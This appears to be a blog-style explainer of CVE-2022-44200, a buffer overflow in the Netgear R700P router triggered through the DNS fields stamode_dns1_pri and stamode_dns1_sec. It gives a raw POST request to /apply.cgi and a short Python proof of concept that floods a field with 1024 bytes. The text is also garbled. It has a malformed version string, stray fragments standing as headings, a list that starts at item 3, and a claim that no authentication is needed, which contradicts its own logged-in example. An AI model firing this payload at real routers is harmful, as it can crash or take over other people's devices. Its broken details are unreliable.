Netgear is a household name for home routers, but not even the best brands are immune to bugs. In November 2022, researchers found a dangerous vulnerability—CVE-2022-44200—in Netgear R700P firmware versions V1.3..8 and V1.3.1.64. This bug lets an attacker run their own code on your router using just a couple of unexpected parameters: stamode_dns1_pri and stamode_dns1_sec. Let’s take a deep dive into what happened, how it works, and why it matters.

What is CVE-2022-44200?

CVE-2022-44200 is a buffer overflow vulnerability. Specifically, it lives in the web server functionality of the Netgear R700P router, and it’s triggered by long or carefully crafted input to the DNS setup fields. If a malicious user sends a request with overly large or specially formed data to either stamode_dns1_pri or stamode_dns1_sec, the software doesn’t check the size, causing it to overwrite memory and possibly execute any code the hacker wants.

What’s at risk?
If exploited, your router might become a zombie (part of a botnet), leak your internet activity, or even get fully taken over by attackers.

stamode_dns1_sec

These parameters are supposed to be for DNS addresses—for example, “8.8.8.8” or “1.1.1.1”—which are just simple numbers. But if you replace “8.8.8.8” with a long string, something nasty happens inside the router’s firmware.

V1.3.1.64

No fix appears available for these precise versions as of writing.

The Technical Lowdown

Let's explore how an attacker might exploit this bug.

The web management of R700P takes form data (like your DNS settings), processes it, and stores it in a buffer. The bug: it doesn’t properly check how much data you sent.

Example of Exploit Request

Suppose you’re logged into the router’s web UI (or, worse, the UI is open to the whole internet). An attacker sends a POST request like this:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

stamode_dns1_pri=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...(LONG STRING)...AAAAA&stamode_dns1_sec=8.8.4.4

The same goes for stamode_dns1_sec—one or both parameters could be abused.

Proof-of-Concept (Python Example)

import requests

TARGET = "http://192.168.1.1/apply.cgi";
DATA = {
    "stamode_dns1_pri": "A" * 1024,  # Overflows the buffer
    "stamode_dns1_sec": "8.8.8.8"
}
r = requests.post(TARGET, data=DATA)
print(r.status_code)

Malicious payloads can be encoded in place of all those "A"s.

When the router firmware tries to store the over-long value, memory gets overwritten—just where future code or return addresses may live. If the attacker has crafted their input carefully, this lets them seize control of the router.

Why This Bug Is Bad

- No Authentication Needed: If the router’s UI is exposed to the internet, anyone can send the request.

If you see V1.3..8 or V1.3.1.64, your device is vulnerable.

3. Update the firmware if possible. If there’s no newer version, limit access so only your local network can reach the web interface.

Mitigation & Recommendations

- Update Your Router: Always run the latest firmware. If you’re stuck on an old version, consider a new router.

Technical Resources and References

- Official Netgear Security Advisory
- MITRE CVE Listing
- Original Disclosure on Exploit-DB
- Firmware Download and Updates

Summary

CVE-2022-44200 turns simple DNS fields into a foot-in-the-door for hackers, letting them attack Netgear’s R700P router through a buffer overflow bug. Until there’s a patch, limit UI access and consider extra defensive steps to protect your home or small office network.

Stay safe, keep your firmware fresh, and never trust plain input fields—even if it’s just for DNS!

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:35:00 UTC